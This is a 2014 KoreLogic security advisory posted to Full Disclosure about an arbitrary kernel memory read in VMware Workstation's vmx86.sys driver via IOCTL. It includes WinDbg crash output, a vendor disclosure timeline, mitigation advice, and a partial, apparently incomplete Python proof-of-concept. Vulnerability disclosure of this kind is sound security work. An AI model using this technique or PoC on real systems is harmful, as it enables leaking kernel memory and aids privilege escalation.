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Date: Tue, 4 Nov 2014 23:08:56 -0500
From: KoreLogic Disclosures <>
Subject: [FD] KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read

Title: VMWare vmx86.sys Arbitrary Kernel Read
Advisory ID: KL-001-2014-004
Publication Date: 2014.11.04
Publication URL:

1. Vulnerability Details

     Affected Vendor: VMWare
     Affected Product: Workstation
     Affected Version:
     Platform: Microsoft Windows XP SP3 x86, Microsoft Windows Server 2003 SP2 x86, Microsoft Windows 7 SP1 x86
     CWE Classification: CWE-20: Improper Input Validation
     Impact: Arbitrary Read, Denial-of-Service
     Attack vector: IOCTL

2. Vulnerability Description

     A vulnerability within the vmx86 driver allows an attacker
     to specify a memory address within the kernel and have the
     memory stored at that address be returned to the attacker.

3. Technical Description

     The first four bytes of the InputBuffer parameter passed
     to DeviceIoControl is used as the source parameter in a memcpy
     call. The InputBuffer must be a minimum of eight bytes long in
     order to trigger the vulnerability. The OutputBuffer parameter
     passed to DeviceIoControl is used as the destination address
     for the output from the DeviceIoControl call. In this case,
     the data returned is the same data residing at the source
     paramter of memcpy.  This can therefore be abused in a way
     that allows an attacker to arbitrarily define a kernel address,
     and have the memory stored at that address be returned to the
     attacker at an address residing in userland.

Probably caused by : vmx86.sys ( vmx86+bd6 )

Followup: MachineOwner

kd> .symfix;.reload;!analyze -v
Loading Kernel Symbols
Loading User Symbols
Loading unloaded module list
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *

Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
Arg4: 00000000, (reserved)

Debugging Details:

READ_ADDRESS:  ffff0000 
82c727f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
PROCESS_NAME:  python.exe
ANALYSIS_VERSION: 6.3.9600.16384 (debuggers(dbg).130821-1623) x86fre
TRAP_FRAME:  822e47dc -- (.trap 0xffffffff822e47dc)
ErrCode = 00000000
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
82c727f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
LAST_CONTROL_TRANSFER:  from 82c7a3d8 to 82cc741b
822e47c4 82c7a3d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106
822e47c4 82c727f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc
822e4858 93572bd6 856a9000 ffff0000 00002000 nt!memcpy+0x33
822e48cc 9357329a 856a9000 00000008 856a9000 vmx86+0xbd6
822e48f8 82c70593 86f0d030 87433540 87433540 vmx86+0x129a
822e4910 82e6499f 871f8b08 87433540 874335b0 nt!IofCallDriver+0x63
822e4930 82e67b71 86f0d030 871f8b08 00000000 nt!IopSynchronousServiceTail+0x1f8
822e49cc 82eae3f4 86f0d030 87433540 00000000 nt!IopXxxControlFile+0x6aa
822e4a00 821210fa 0000007c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
822e4b14 82cb7685 00000000 00000000 00000000 nt!KiDeliverApc+0x17f
822e4b58 82cb64f7 00000000 85689a10 80000000 nt!KiSwapThread+0x24e
822e4b80 82cb61d5 85689a10 85689ad0 0000008a nt!KiCommitThreadWait+0x1df
822e4bd8 82e639fd 01b1fd01 00000001 822e4bc8 nt!KeDelayExecutionThread+0x2aa
822e4c24 82c771ea 00000001 01b1ff54 01b1ff78 nt!NtDelayExecution+0x8d
822e4c24 777c70b4 00000001 01b1ff54 01b1ff78 nt!KiFastCallEntry+0x12a
01b1ff0c 777c57d4 75a31876 00000001 01b1ff54 ntdll!KiFastSystemCallRet
01b1ff10 75a31876 00000001 01b1ff54 da57de5e ntdll!NtDelayExecution+0xc
01b1ff78 00401ed6 ffffffff 00000001 01b1ff94 KERNELBASE!SleepEx+0x65
01b1ff94 777e37f5 00000000 762fe46a 00000000 kernel32!BaseThreadInitThunk+0xe
01b1ffd4 777e37c8 00401ec0 00000000 00000000 ntdll!__RtlUserThreadStart+0x70
01b1ffec 00000000 00401ec0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b
93572bd6 83c40c          add     esp,0Ch
SYMBOL_NAME:  vmx86+bd6
FOLLOWUP_NAME:  MachineOwner
IMAGE_NAME:  vmx86.sys
FAILURE_BUCKET_ID:  0x50_vmx86+bd6
BUCKET_ID:  0x50_vmx86+bd6
FAILURE_ID_HASH_STRING:  km:0x50_vmx86+bd6
FAILURE_ID_HASH:  {fc58ae86-f23c-59c4-2a6e-428433bd6080}
Followup: MachineOwner

kd> .frame /c 04; .cxr; .frame /c 03; .cxr; .frame /c 02
04 822e48f8 82c70593 vmx86+0x129a
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=9357329a esp=822e48d4 ebp=822e48f8 iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
9357329a eb63            jmp     vmx86+0x12ff (935732ff)
Resetting default scope
03 822e48cc 9357329a vmx86+0xbd6
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=93572bd6 esp=822e4860 ebp=822e48cc iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
93572bd6 83c40c          add     esp,0Ch
Resetting default scope
02 822e4858 93572bd6 nt!memcpy+0x33
eax=ffff2000 ebx=87433558 ecx=00000800 edx=00000000 esi=ffff0000 edi=856a9000
eip=82c727f3 esp=822e4850 ebp=822e4858 iopl=0         nv up ei pl nz ac po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010212
82c727f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

     By using the provided proof-of-concept code, an attacker
     can read data from arbitrary kernel memory addresses. As an
     example, the value of the first entry in HalDispatchTable is
     read. Below is the debugger output, followed by the stdout
     from the proof-of-concept code.

0:000> g
ModLoad: 76170000 7618f000   C:\Windows\system32\IMM32.DLL
ModLoad: 77600000 776cc000   C:\Windows\system32\MSCTF.dll
ModLoad: 1d1a0000 1d1b8000   C:\Python27\DLLs\_ctypes.pyd
ModLoad: 77440000 7759c000   C:\Windows\system32\ole32.dll
ModLoad: 75c60000 75cef000   C:\Windows\system32\OLEAUT32.dll
ModLoad: 77950000 77955000   C:\Windows\system32\Psapi.DLL
ModLoad: 01980000 01d92000   C:\Windows\system32\ntkrnlpa.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 
eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
778570b4 c3              ret
0:000> db 0x25 L?0x4
00000025  a2 68 04 83  

[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2

4. Mitigation and Remediation Recommendation

     A patch is not likely to be forthcoming from the vendor. It
     is recommended not to allow users access to the __vmware__
     group unless they are trusted with LocalSystem privileges.

5. Credit

     This vulnerability was discovered by Matt Bergin of KoreLogic
     Security, Inc.

6. Disclosure Timeline

     2014.08.08 - Initial contact; sent VMWare report and PoC.
     2014.08.08 - VMWare acknowledges receipt of vulnerability
     2014.08.15 - VMWare asks for clarification on the PoC.
     2014.08.18 - KoreLogic responds to VMWare's request.
     2014.08.18 - VMWare counters that it is the expected behavior
                  for members of the __vmware__ group to be able to
                  read arbitrary memory. Asks KoreLogic to describe
                  the "actionable security item here."
     2014.08.20 - KoreLogic advises VMWare that providing non-admin
                  user accounts with the unmitigated ability to dump
                  the contents of the kernel memory is a security
     2014.08.20 - VMWare suggests modifying the documentation
                  describing the capabilities of the __vmware__
                  group as a solution.
     2014.08.21 - KoreLogic provides VMWare with a mitigation
                  strategy and describes how to patch the
                  vulnerability. KoreLogic requests that a CVE be
     2014.08.25 - VMware states they will continue to review the
                  vulnerability details.
     2014.09.24 - KoreLogic informs VMWare that 30 business days
                  have passed since vendor acknowledgement of the
                  initial report. KoreLogic requests CVE number for
                  the vulnerability, if there is one. KoreLogic also
                  requests vendor's public identifier for the
                  vulnerability along with the expected disclosure
     2014.09.26 - VMWare responds that they will contact KoreLogic
                  "next week."
     2014.10.08 - KoreLogic reaches out to VMWare as more than 1 week
                  has elapsed since the last response.
     2014.10.13 - VMWare responds that they have decided the reported
                  vulnerability is not a security issue. VMWare
                  creates a Knowledge Base article comparing the
                  __vmware__ group to a Microsoft Windows Power User
     2014.10.14 - 45 business days have elapsed since the
                  vulnerability was reported to VMWare.
     2014.10.14 - KoreLogic requests a CVE for this vulnerability
     2014.10.22 - MITRE asks KoreLogic to clarify the vendor's
                  response to the KoreLogic report.
     2014.10.22 - KoreLogic responds with a summary of VMWare's
                  responses to the KoreLogic report.
     2014.10.22 - MITRE responds that there will be no CVE issued for
                  this report, as the vendor is "entitled to define a
                  security policy in which this read access is
                  considered an acceptable risk."
     2014.11.04 - Public disclosure.

7. Proof of Concept

     The code presented below will trigger the issue by forcing
     memory to be read from a blatantly invalid address of

     # KL-001-2014-004 : VMWare vmx86.sys Arbitrary Kernel Read
     # Matt Bergin (KoreLogic / Smash the Stack) 
     from ctypes import *
     from struct import pack
     from os import getpid,system
     from sys import exit
     from binascii import hexlify
     from re import findall
     EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
     GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
     VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
     handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
     if (handle == -1):
             print "[!] Could not open handle, is user part of the __vmware__ group?"
     print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
     buf = pack('<L',0xcccccccc)*100
     inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
     if (GetLastError() != 0):
             print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))

The contents of this advisory are copyright(c) 2014
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.

Our public vulnerability disclosure policy is available at:

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